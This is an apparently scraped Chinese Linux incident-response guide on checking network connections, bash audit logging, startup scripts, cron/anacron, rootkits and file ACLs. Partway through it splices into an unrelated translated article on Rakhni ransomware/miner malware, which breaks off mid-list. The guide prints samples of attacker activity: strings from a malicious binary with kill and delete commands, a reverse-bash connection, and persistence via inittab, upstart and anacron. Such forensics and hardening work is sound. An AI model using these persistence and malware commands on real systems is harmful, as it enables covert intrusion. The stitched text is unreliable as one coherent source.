对于二进制的文件可以使用strings读取可读字符
[root@server120 tmp]# strings .zl
rm -f /boot/IptabLes ; rm -f /boot/.IptabLes ; rm -f /boot/IptabLex ; rm -f /boot/.IptabLex ; rm -f /usr
/IptabLes ; rm -f /usr/.IptabLes ; rm -f /usr/IptabLex ; rm -f /usr/.IptabLex
netstat -anp | grep "IptabLes" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m
> /dev/null
netstat -anp | grep "IptabLex" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m
> /dev/null
例如之前应急遇到的命令替换，通过Strings查看发现有大量的IP地址。
[root@i-9kp9tipm log]# strings /usr/bin/.sshd | egrep '[1-9]{1,3}.[1-9]{1,3}.'
8.8.8.8
8.8.4.4
8.8.8.8
61.132.163.68
202.102.192.68
202.102.213.68
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
**0x04 网络连接**
需要注意如果攻击者获取到了Root权限，被植入内核或者系统层Rootkit的话，连接是可以被隐藏的。
netstat -antlp | grep ESTABLISHED
查看已经建立的网络连接，例如反弹bash
[root@server120 html]# netstat -antlp | grep EST | grep bash
tcp 0 0 192.168.192.120:41320 192.168.192.144:2345 ESTABLISHED 26643/bash
netstat -antlp | grep LISTEN
检查可以监听端口，例如攻击者在本地开启sock5代理，然后使用SSH反弹sock5。
[root@server120 html]# netstat -antlp | grep LISTEN | grep 1080
tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN 26810/python
lsof -i:{port}
**0x05 敏感目录**
/tmp, /var/tmp, /dev/shm，所有用户都可读，可写，可执行
[root@server120 ~]# ls -ald /tmp/
drwxrwxrwt. 10 root root 4096 9月 20 09:41 /tmp/
[root@server120 ~]# ls -ald /var/tmp/
drwxrwxrwt. 2 root root 4096 9月 18 16:57 /var/tmp/
[root@server120 ~]# ls -ald /dev/shm
drwxrwxrwt. 3 root root 60 9月 1 10:23 /dev/shm
**0x06 history**
默认的history仅记录执行的命令，然而这些对于应急来说是不够的，很多系统加固脚本会添加记录命令执行的时间，修改记录的最大条数。之前写的关于Bash审计方式也很推荐。从Bash4.1
版本开始，Bash开始支持Rsyslog，
下载bash-4.4，下载地址： <https://ftp.gnu.org/gnu/bash/>
现在本机编译一份
**1）修改bashhist.c：**
修改771行
syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "PID=%d UID=%d User=%s Cmd=%s", getpid(), current_user.uid, current_user.user_name, line);
修改776行
syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "PID=%d UID=%d User=%s Cmd=%s", getpid(), current_user.uid, current_user.user_name, trunc);
**2）再修改config-top.h**
去掉115行/**/
syslog的FACILITY为 user，日志级别为info
**3）**
./configure --prefix=/usr/local/bash && make && make install
将 **/usr/local/bash/bin/bash** 拷贝出来
备份线上服务器原/bin/bash
[root@localhost ~]# mv /bin/bash /bin/bashbak
RZ放到线上服务器
修改权限为755
4）修改rsyslog配置，这里我们先输出到本地测试一下
[root@zaojiasys_31 admin]# touch /var/log/bash.log
[root@zaojiasys_31 admin]# vim /etc/rsyslog.conf
添加user.info /var/log/bash.log
[root@zaojiasys_31 admin]# service rsyslog restart
[root@zaojiasys_31 admin]# tail -f /var/log/bash.log
Jul 25 16:22:15 localhost bash[18540]: PID=18540 UID=0 User=root Cmd=tail -f /var/log/bash.log
Jul 25 16:22:21 localhost bash[19033]: PID=19033 UID=0 User=root Cmd=whoami
5）
[root@zaojiasys_31 admin]# vim /etc/rsyslog.conf
修改*.info;mail.none;authpriv.none;cron.none;local6.none;user.none
/var/log/messages 添加user.none
添加user.info @10.110.1.33:3514
使用ELK，首先配置logstash
input {
syslog{
port => "3514"
type => "bash"
}
}
filter {
grok{
match => {
"message" => "PID=%{NUMBER:processid} UID=%{NUMBER:uid} User=%{WORD:user} Cmd=%{GREEDYDATA:cmd}"
}
}
date {
match => ["timestamp", "MMM dd HH:mm:ss"]
target => "@timestamp"
"locale" => "en"
timezone => "UTC"
}
mutate {
remove_field => [ "message" ]
}
}
output {
if "_grokparsefailure" not in [tags] {
elasticsearch {
hosts => "10.110.1.33:9200"
index => "bash_%{+YYYY.MM.dd}"
}
}
}
Elasticsearch 添加模板
curl -XPUT 10.59.0.248:9200/_template/template_bash -d '
{
"template": "bash_*",
"order" : 10,
"settings" : {
"number_of_shards": 5,
"number_of_replicas": 0
},
"mappings" : {
"_default_" : {
"_all" : {"enabled" : true, "omit_norms" : true},
"properties" : {
"@timestamp": { "type": "date" },
"host": { "type": "keyword"},
"cmd": { "type": "keyword"},
"user": { "type": "keyword"},
"uid": { "type": "integer"},
"processid": { "type": "integer"}
}
}
}
}
查看Kibana
[root@server120 ~]# ll /bin/sh
lrwxrwxrwx. 1 root root 4 3月 21 2016 /bin/sh -> bash
/bin/sh是软链到/bin/bash的，/bin/sh也可以审计到。
另外禁用其他的shell：
# chmod 750 /bin/csh
# chmod 750 /bin/tcsh
# chmod 750 /bin/dash
**0x07 开机启动**
在应急响应时，开机启动项是必查的项，下面梳理一下关于开机启动与服务相关需要排查的点。直接从init开始说。
RHEL5、RHEL6、RHEL7的init系统分别为 **sysvinit、upstart、systemd**
。这里CentOS7暂且不表，因为生产环境绝大部分都是CentOS6，少量的CentOS5。
CentOS 5：
init程序会读取init的配置文件/etc/inittab,并依据此文件来进行初始化工作。/etc/inittab文件主要作用是指定运行级别，执行系统初始化脚本（/etc/rc.d/rc.sysinit）,启动相应运行级别下的服务和启动终端。
[root@jianshe_28 admin]# cat /etc/inittab
#
# inittab This file describes how the INIT process should set up
# the system in a certain run-level.
#
# Author: Miquel van Smoorenburg, <[email][email protected][/email]>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#
# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
#
id:3:initdefault:
# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit
l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6
# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now
# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"
# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"
# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
# Run xdm in runlevel 5
x:5:respawn:/etc/X11/prefdm -nodaemon
inittab文件中的值都是如下格式：
> id:runlevel:action:process
id：
id是指入口标识符，他是个字符串，对于getty、mingetty等，需求id和tty的编号相同，否则getty将不能正常工作。
runlevel：
指定runlevel的级别。能指定多个runlevel级别，也能不为runlevel字段指定特定的值。
运行级别决定了系统启动的绝大部分行为和目的。这个级别从0到6，具有不同的功能。不同的运行级定义如下：
# 0 – 停机（千万别把initdefault设置为0，否则系统永远无法启动）
# 1 – 单用户模式
# 2 – 多用户，没有 NFS
# 3 – 完全多用户模式(标准的运行级)
# 4 – 系统保留的
# 5 – X11 （x window)
# 6 – 重新启动
action：
定义了该进程应该运行在何种状态下，其中action常用的种类有：
wait：切换至某级别运行一次process
respawn：此process终止的话，就重新启动之
initdefault：设置默认运行级别的，process省略
sysinit：设定系统初始化方式，此处一般指定为：/etc/rc.d/rc.sysinit
process：
包含init执行的进程
下面看一下具体的配置
> id:3:initdefault:
设置runlevel
> si::sysinit:/etc/rc.d/rc.sysinit
执行了/etc/rc.d/rc.sysinit，一个shell脚本，他主要是完成一些系统初始化的工作，例如激活交换分区，检查磁盘，加载硬件模块及其他一些需要优先执行任务。
l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6
/etc/rc.d/rc是个shell脚本，接受runlevel参数，去执行该runlevel目录下的所有的rc启动脚本。以启动级别为3为例，/etc/rc.d/rc3.d/其实都是一些链接文件，真正的rc启动脚本实际上都是放在/etc/rc.d/init.d/目录下。而这些rc启动脚本有着类似的用法，他们一般能接受start、stop、restart、status等参数。
[root@localhost init.d]# ll /etc/rc.d/rc3.d/
lrwxrwxrwx. 1 root root 16 Jul 13 15:04 K01smartd -> ../init.d/smartd
lrwxrwxrwx. 1 root root 16 Jul 13 15:05 S11auditd -> ../init.d/auditd
.....
凡是以Kxx开头的，都以stop为参数来调用；凡是以Sxx开头的，都以start为参数来调用。xx是数字、表示的是启动顺序，按xx从小到大来执行。
我们来用chkconfig修改一下试试
[root@localhost rc3.d]# ll | grep audit
lrwxrwxrwx. 1 root root 16 Jul 13 15:05 S11auditd -> ../init.d/auditd
[root@localhost rc3.d]# chkconfig auditd off --level 3
[root@localhost rc3.d]# ll | grep audit
lrwxrwxrwx 1 root root 16 Jul 20 14:00 K88auditd -> ../init.d/auditd
另外说明一下应急响应中我们都会检查/etc/rc.local，其实也是在rcN.d中。
/etc/rc.local是软链到了/etc/rc.d/rc.local
[root@localhost init.d]# ll /etc/rc.local
lrwxrwxrwx. 1 root root 13 Jul 13 15:03 /etc/rc.local -> rc.d/rc.local
Redhat中的运行模式2、3、5都把/etc/rc.d/rc.local做为初始化脚本中的最后一个
[root@localhost rc3.d]# ll /etc/rc.d/rc3.d/S99local
lrwxrwxrwx. 1 root root 11 Jul 13 15:03 /etc/rc.d/rc3.d/S99local -> ../rc.local
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
init接下来会打开6个终端，以便用户登录系统。
总结一下，针对CentOS5系统，需要排查的点：
**1）/etc/inittab**
该文件是可以运行process的，这里我们添加一行
> 0:235:once:/bin/vinc
内容如下
[root@localhost ~]# cat /bin/vinc
#!/bin/bash
cat /etc/issue > /tmp/version
重启
[root@localhost ~]# cat /tmp/version
CentOS release 5.5 (Final)
Kernel r on an m
**2）/etc/rc.d/rc.sysinit**
在最后插入一行/bin/vinc
[root@localhost ~]# ll /tmp/version
-rw-r--r-- 1 root root 47 11-05 10:10 /tmp/version
3）/etc/rc.d/init.d
4）/etc/rc.d/rc.local
CentOS 6：
init会读取配置文件/etc/inittab 和 /etc/init/*.conf。先看一下/etc/inittab
[root@server120 src]# cat /etc/inittab
# inittab is only used by upstart for the default runlevel.
#
# ADDING OTHER CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.
#
# System initialization is started by /etc/init/rcS.conf
#
# Individual runlevels are started by /etc/init/rc.conf
#
# Ctrl-Alt-Delete is handled by /etc/init/control-alt-delete.conf
#
# Terminal gettys are handled by /etc/init/tty.conf and /etc/init/serial.conf,
# with configuration in /etc/sysconfig/init.
#
# For information on how to write upstart event handlers, or how
# upstart works, see init(5), init(8), and initctl(8).
#
# Default runlevel. The runlevels used are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
#
id:3:initdefault:
通过注释可以看到，upstart只使用inittab读取默认的runlevel。添加其他的配置都不会生效，其他的配置都移动到了/etc/init/*.conf下。
系统初始化/etc/init/rcS.conf
对应runlevel的服务启动/etc/init/rc.conf
终端配置/etc/init/tty.conf
….
总结一下，针对CentOS6系统，需要排查的点：
**1）/etc/init/*.conf**
vim tty.conf，添加一行
> exec /bin/vinc
内容如下:
[root@vincenthostname init]# cat /bin/vinc
#!/bin/bash
touch /tmp/vinc
重启
[root@vincenthostname ~]# ll /tmp/vinc
-rw-r--r-- 1 root root 0 6月 22 15:07 /tmp/vinc
2）/etc/rc.d/rc.sysinit
3）/etc/rc.d/init.d
4）/etc/rc.d/rc.local
**0x08 定时任务**
在应急响应中，最重要的一个点就是定时任务，例如Redis未授权通过持久化配置写入Crontab中。下面梳理一下定时任务相关的知识点：
一般常用的定时任务 **crontab -l** 是用户级别的，保存在 **/var/spool/cron/{user}** ，每个用户都可以通过
**crontab -e** 编辑自己的定时任务列表。
而/etc/crontab是系统级别的定时任务，只有Root账户可以修改。
另外在应急的时候需要留意的点还有/etc/cron.hourly, /etc/cron.daily,
/etc/cron.weekly,/etc/cron.monthly等周期性执行脚本的目录。例如我想每天执行一个脚本，只需要放到/etc/cron.daily下，并且赋予执行权限即可。
那这些目录下的任务是怎么调用的？这里CentOS5和CentOS6还是有区别的。
CentOS5中：
[root@jianshe_28 /]# cat /etc/issue
CentOS release 5.8 (Final)
Kernel r on an m
[root@jianshe_28 /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
run-parts命令位于/usr/bin/run-parts，内容是很简单的一个shell脚本，就是遍历目标文件夹，执行第一层目录下的可执行权限的文件。
所以在CentOS5下是实际是通过/etc/crontab来运行/etc/cron.hourly, /etc/cron.daily,
/etc/cron.weekly,/etc/cron.monthly下面的脚本的。
这里我们注意到在/etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下都有一个脚本0anacron
[root@jianshe_28 cron.daily]# cat /etc/cron.daily/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
anacron -u cron.daily
fi
[root@jianshe_28 cron.daily]# cat /etc/cron.weekly/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
anacron -u cron.weekly
fi
[root@jianshe_28 cron.daily]# cat /etc/cron.monthly/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
anacron -u cron.monthly
fi
这里就需要介绍一些/usr/sbin/anacron，anacron是干什么的？
anacron主要在处理非 24 小时一直启动的 Linux 系统的 crontab 的运行。所以 anacron 并不能指定何时运行某项任务，
而是以天为单位或者是在启动后立刻进行 anacron 的动作，他会去检查停机期间应该进行但是并没有进行的 crontab
任务，并将该任务运行一遍后，anacron 就会自动停止了。
anacron的配置文件是/etc/anacrontab
[root@jianshe_28 cron.daily]# cat /etc/anacrontab
# /etc/anacrontab: configuration file for anacron
# See anacron(8) and anacrontab(5) for details.
SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
1 65 cron.daily run-parts /etc/cron.daily
7 70 cron.weekly run-parts /etc/cron.weekly
30 75 cron.monthly run-parts /etc/cron.monthly
具体含义如下：
第一部分是轮回天数，即是指任务在多少天内执行一次，monthly 就是一个月（30天）内执行，weekly 即是在一周之内执行一次。
第二部分 delay 是指轮回内的重试时间，这个意思有两部分，一个是 anacron 启动以后该服务 ready 暂不运行的时间（周任务的 70 delay
在 anacron 启动后70分钟内不执行，而处于 ready
状态），另一个是指如果该任务到达运行时间后却因为某种原因没有执行（比如前一个服务还没有运行完成，anacron 在 /etc/init.d 的脚本中加了一个
-s 参数，便是指在前一个任务没有完成时不执行下一个任务），依然以周任务和月任务为例，周任务在启动 anacron 后的 70 分钟执行，月任务在服务启动后
75 分钟执行，但是，如果月任务到达服务启动后 75 分钟，可是周任务运行超过5分钟依然没有完成，那月任务将会进入下一个 75 分钟的轮回，在下一个 75
分钟时再检查周任务是否完成，如果前一个任务完成了那月任务开始运行。
第三部分 job-identifier ，anacron 每次启动时都会在 /var/spool/anacron 里面建立一个以 job-identifier
为文件名的文件，里面记录着任务完成的时间，如果任务是第一次运行的话那这个文件应该是空的。anacron运行时，会去检查“/var/spool/anacron/这部分”文件中的内容，内容为一个日期，如下：
[root@localhost /]# cat /var/spool/anacron/cron.
cron.daily cron.monthly cron.weekly
[root@localhost /]# cat /var/spool/anacron/cron.*
20170719
20170713
20170713
根据这个日期判断下面的第四部分要不要执行。
比如说这里写的是cron.daily，然后/var/spool/anacron/cron.daily文件中记录的日期为昨天的话，那anancron执行后就行执行这一行对应第四行的动作。
第四部分最为简单，仅仅是你想运行的命令
/usr/sbin/anacron常用参数：
-s ：开始连续的运行各项工作 (job)，会依据时间记录档的数据判断是否进行；
-f ：强制进行，而不去判断时间记录档的时间戳记；
-n ：立刻进行未进行的任务，而不延迟 (delay) 等待时间；
-u ：仅升级时间记录档的时间戳记，不进行任何工作。
所以在CentOS5中已经通过/etc/cron.hourly, /etc/cron.daily,
/etc/cron.weekly,/etc/cron.monthly已经通过/etc/crontab配置执行了，所以这里只是通过anacron
-u来记录了执行的时间。
CentOS6中：
[root@localhost /]# cat /etc/issue
CentOS release 6.5 (Final)
Kernel r on an m
[root@localhost /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
可以看到默认的/etc/crontab为空了。那么/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,
/etc/cron.monthly下面的任务是怎么执行的？
我们再仔细看一下，注意到CentOS5下的/etc/cron.d目录为空。
[root@jianshe_28 cron.daily]# ll /etc/cron.d
total 0
而CentOS6下有一个0hourly
[root@localhost /]# ll /etc/cron.d
total 12
-rw-r--r-- 1 root root 113 Jul 18 19:36 0hourly
看一下执行的任务
[root@localhost /]# cat /etc/cron.d/0hourly
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
01 * * * * root run-parts /etc/cron.hourly
然后看一下/etc/cron.hourly所执行的脚本
[root@localhost /]# ll /etc/cron.hourly
total 4
-rwxr-xr-x 1 root root 409 Jul 18 14:20 0anacron
[root@localhost /]# cat /etc/cron.hourly/0anacron
#!/bin/bash
# Skip excecution unless the date has changed from the previous run
if test -r /var/spool/anacron/cron.daily; then
day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
exit 0;
fi
# Skip excecution unless AC powered
if test -x /usr/bin/on_ac_power; then
/usr/bin/on_ac_power &> /dev/null
if test $? -eq 1; then
exit 0
fi
fi
/usr/sbin/anacron -s
然后看一下/etc/anacrontab的内容
[root@localhost /]# cat /etc/anacrontab
# /etc/anacrontab: configuration file for anacron
# See anacron(8) and anacrontab(5) for details.
SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# the maximal random delay added to the base delay of the jobs
RANDOM_DELAY=45
# the jobs will be started during the following hours only
START_HOURS_RANGE=3-22
#period in days delay in minutes job-identifier command
1 5 cron.daily nice run-parts /etc/cron.daily
7 25 cron.weekly nice run-parts /etc/cron.weekly
@monthly 45 cron.monthly nice run-parts /etc/cron.monthly
这里多了两条配置
RANDOM_DELAY=45
表示定时触发后随机延迟45分钟以内的时间再启动应用
START_HOURS_RANGE=3-22
表示程序在3时至22时之间会启动
看到这里我们就明白了在CeontOS6
里面，crond会检查/etc/cron.d里面的配置，里面有一个0hourly文件，每小时去运行一次/etc/cron.hourly目录，该目录下面有一个0anacron文件，这样0anacron文件就能每小时运行一次，这里其实执行的是/usr/sbin/anacron
-s。anacron读取配置文件/etc/anacrontab，将当前时间与/var/spool/anacron目录下面的文件里面的时间戳作对比，如果需要则去运行/etc/anacrontab对应的条目。
**总结：**
应急响应中关于定时任务应该排查的/etc/crontab,/etc/cron.d,/var/spool/cron/{user},然后顺藤摸瓜去看其他调用的目录/etc/cron.hourly,
/etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly，/etc/anacrontab 。
其中容易忽视的就是/etc/anacrontab
在CentOS6下我们做个测试：
编辑/etc/anacrontab
修改RANDOM_DELAY=1
添加1 1 cron.test echo 1 >> /tmp/1.txt
[root@localhost cron.weekly]# /usr/sbin/anacron -s
等待一分多钟后，可以看到
[root@localhost cron.weekly]# cat /var/spool/anacron/cron.test
20170719
[root@localhost cron.weekly]# cat /tmp/1.txt
1
**0x09 Rootkit**
检查命令替换
1）系统完整性可以通过rpm自带的-Va来校验检查所有的rpm软件包,有哪些被篡改了,防止rpm也被替换,上传一个安全干净稳定版本rpm二进制到服务器上进行检查。
例如我替换一下/bin/ps，然后使用rpm -qaV查看
[root@vincenthostname tmp]# rpm -qaV
S.?....T. /bin/ps
2）比对命令的大小
例如正常的ps和netstat大小
[root@vincent tmp]# ll /bin/ps
-rwxr-xr-x 1 root root 87112 11月 15 2012 /bin/ps
[root@vincent tmp]# ll /bin/netstat
-rwxr-xr-x 1 root root 128216 5月 10 2012 /bin/netstat
下面是其中有一次应急时的记录
[root@DataNode110 admin]# ls -alt /bin/ | head -n 10
total 10836
-rwxr-xr-x 1 root root 625633 Aug 17 16:26 tawlqkazpu
dr-xr-xr-x. 2 root root 4096 Aug 17 16:26 .
-rwxr-xr-x 1 root root 1223123 Aug 17 11:30 ps
-rwxr-xr-x 1 root root 1223123 Aug 17 11:30 netstat
可以看到ps和netstat是一样大的。
3）查看命令的修改时间，按修改时间排序
ls -alt /bin/ | head -n 5
4）使用chkrootkit和rkhunter查看
chkrootkit
1、准备gcc编译环境
对于CentOS系统，执行下述三条命令：
> yum -y install gcc gcc-c++ make glibc*
2、下载chkrootkit源码
chkrootkit的官方网站为 http://www.chkrootkit.org ，下述下载地址为官方地址。为了安全起见，务必在官方下载此程序：
> [root@www ~]# wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
3、解压下载回来的安装包
> [root@www ~]# tar zxf chkrootkit.tar.gz
4、编译安装（后文命令中出现的“*”无需替换成具体字符，原样复制执行即可）
>[root@www ~]# cd chkrootkit-*
>
>[root@www ~]# make sense
注意，上面的编译命令为make sense。
5、把编译好的文件部署到/usr/local/目录中，并删除遗留的文件
>[root@www ~]# cd ..
>[root@www ~]# cp -r chkrootkit- /usr/local/chkrootkit
>[root@www ~]# rm -r chkrootkit-
至此，安装完毕。
**使用方法**
安装好的chkrootkit程序位于 /usr/local/chkrootkit/chkrootkit
直接执行
> root@vm:~# /usr/local/chkrootkit/chkrootkit
rkhunter
在安装了kbeast的系统上测试，发现检测效果不如rkhunter好。
下载地址： <http://sourceforge.net/projects/rkhunter/files/>
1）安装
tar -xvf rkhunter-1.4.0.tar.gz
cd rkhunter-1.4.0
./installer.sh –install
在安装了kbeast的系统上测试，可以成功检测到。
/usr/local/bin/rkhunter –check -sk
[19:50:27] Rootkit checks…
[19:50:27] Rootkits checked : 389
[19:50:27] Possible rootkits: 1
[19:50:27] Rootkit names : KBeast Rootkit
**2）在线升级**
rkhunter是通过一个含有rootkit名字的数据库来检测系统的rootkits漏洞, 所以经常更新该数据库非常重要,
你可以通过下面命令来更新该数据库:
执行命令：
> rkhunter –update
**3）检测最新版本**
让 rkhunter 保持在最新的版本；
执行命令：
> rkhunter –versioncheck
**0x10 病毒检测**
<https://x.threatbook.cn/>
<http://www.virscan.org>
<https://www.virustotal.com/>
<https://fireeye.ijinshan.com/>
**0x11 文件权限**
setfacl与getfacl
ACL 全称 Access Control Lists 翻译成中文叫”访问控制列表”,传统的 Linux 文件系统的权限控制是通过
user、group、other 与 r(读)、w(写)、x(执行)
的不同组合来实现的。随着应用的发展，这些权限组合已不能适应现时复杂的文件系统权限控制要求。 例如，目录 /data
的权限为：drwxr-x—，所有者与所属组均为 root，在不改变所有者的前提下，要求用户 tom 对该目录有完全访问权限 (rwx).考虑以下2种办法
(这里假设 tom 不属于 root group)
(1) 给 /data 的 other 类别增加 rwx permission，这样由于 tom 会被归为 other 类别，那么他也将拥有 rwx 权限。
(2) 将 tom 加入到 root group，为 root group 分配 rwx 权限，那么他也将拥有 rwx 权限。
以上 2 种方法其实都不合适
为了解决这些问题，Linux 开发出了一套新的文件系统权限管理方法，叫文件访问控制列表 (Access Control Lists,
ACL)。简单地来说，ACL 就是可以设置特定用户或者用户组对于一个文件的操作权限。
文件的所有者以及有CAP_FOWNER的用户进程可以设置一个文件的acl。（在目前的linux系统上，root用户是唯一有CAP_FOWNER能力的用户）
ACL 有两种:
access ACL
针对文件和目录设置访问控制列表。
一种是default ACL，只能针对目录设置。如果目录中的文件没有设置 ACL，它就会使用该目录的默认 ACL.
**1）getfacl**
获取文件权限
[root@vincent tmp]# getfacl 1.cap
# file: 1.cap
# owner: root
# group: root
user::rw- group::r-- other::r--
**2）setfacl**
Access ACL
比如我设置/tmp/1.sh的other权限为000，然后切换到vinc账户。
[vinc@vincent tmp]$ cat 1.sh
cat: 1.sh: 权限不够
然后我们添加ACL
[root@vincent opt]# setfacl -m u:vinc:rwx /tmp/1.sh
然后我们使用ll查看，发现第一个字段文件权限第十位变成了+号
[root@vincent tmp]# ll 1.sh
-rwxrwx---+ 1 root root 512 8月 9 03:21 1.sh
然后我们使用getfacl查看
[vinc@vincent tmp]$ getfacl 1.sh
# file: 1.sh
# owner: root
# group: root
user::rwx
user:vinc:rwx
group::r-x
mask::rwx
other::---
我们切换到vinc账户就可以查看内容了
[vinc@vincent tmp]$ cat 1.sh
test
删除这条ACL
[root@vincent tmp]# setfacl -x u:vinc /tmp/1.sh
取消所有的ACL
[root@vincent tmp]# setfacl -b /tmp/1.sh
Default ACl
前面所说都是access acl，针对文件而言，而default acl是指对于一个目录进行default
acl设置，并且在此目录下建立的文件都将继承此目录的acl。
[root@vincent opt]# setfacl -d -m u:hehe:--- 1
来看下目录1的权限
[root@vincent opt]# getfacl -c 1
user::rwx
group::r-x
other::r-x
default:user::rwx
default:user:hehe:--- default:group::r-x
default:mask::r-x
default:other::r-x
我们在目录1下新建的文件都将继承这个权限。我们在目录1下新建一个文件，然后查看一下ACL
[vinc@vincent 1]$ getfacl 222
# file: 222
# owner: vinc
# group: vinc
user::rw- user:hehe:--- group::r-x #effective:r-- mask::r-- other::r--
切换到hehe账户，查看文件，提示权限不够。
[hehe@vincent 1]$ cat /opt/1/222
cat: /opt/1/222: 权限不够
lsattr和chattr
chattr
修改属性能够提高系统的安全 性，但是它并不适合所有的目录。chattr命令不能保护/、/dev、/tmp、/var目录
a：即append，设定该参数后，只能向文件中添加数据，而不能删除，多用于服务器日志文件安全，只有root才能设定这个属性。
i：设定文件不能被删除、改名、设定链接关系，同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。
s：保密性地删除文件或目录，即硬盘空间被全部收回。
u：与s相反，当设定为u时，数据内容其实还存在磁盘中，可以用于undeletion。
例子：
设置/etc/resolv.conf为不可修改
[root@vincent tmp]# chattr +i /etc/resolv.conf
[root@vincent tmp]# lsattr /etc/resolv.conf
----i--------e- /etc/resolv.conf
[root@vincent tmp]# echo "" > /etc/resolv.conf
-bash: /etc/resolv.conf: 权限不够
lsattr
查看文件权限
[root@vincent tmp]# lsattr 1.txt
-----a-------e- 1.txt | 社区文章 |
# 新型病毒决定您的计算机是否适合挖矿或感染勒索软件
|
##### 译文声明
本文是翻译文章，文章来源：thehackernews.com
原文地址：<https://thehackernews.com/2018/07/cryptocurrency-mining-ransomware.html>
译文仅供参考，具体内容表达以及含义原文为准。
安全研究人员发现了一个有趣的恶意软件，它会使用加密货币挖掘或者勒索软件感染系统，具体取决于他们的电脑配置，以决定哪两个方案可以更有利可图。
尽管勒索软件是锁定您的计算机，并阻止您访问加密的数据，直到你支付赎金获得解密文件所需的解密密钥的类型的恶意软件，加密货币挖矿用感染系统的CPU运算能力挖掘数字货币。
勒索软件和基于加密货币挖掘的攻击都是今年迄今为止的主要威胁，并且存在许多相似之处，例如非复杂性攻击，针对非目标用户进行的金钱攻击以及涉及数字货币的攻击。
然而，由于锁定计算机并不能保证获取赎金从而获得回报，受害者也许因此并没有受到什么损失，在过去几个月中，网络犯罪分子已经转向欺诈性加密货币挖掘，作为使用受害者计算机提取资金的方法。
俄罗斯安全公司卡巴斯基实验室的研究人员发现了一种新的Rakhni勒索软件系列，现已升级为包括加密货币挖掘功能。
Rakhni恶意软件使用Delphi编程语言编写，使用带有附件为MS的word文档作为鱼叉式网络钓鱼电子邮件进行传播，如果打开，会提示受害者保存文档并启用编辑。
该文档包含一个PDF图标，如果单击该图标，则会在受害者的计算机上启动恶意可执行文件，并在执行时立即显示虚假的错误消息框，诱使受害者认为打开文档所需的系统文件丢失。
## 恶意软件如何决定做什么
然而，在后台，恶意软件会执行许多反VM和反沙箱检查，以确定它是否可以感染系统而不会被捕获。如果满足所有条件，则恶意软件会执行更多检查以确定最终的感染payload，即勒索软件或矿工。
1.）安装勒索软件 -如果目标系统在AppData部分中有一个“比特币”文件夹。
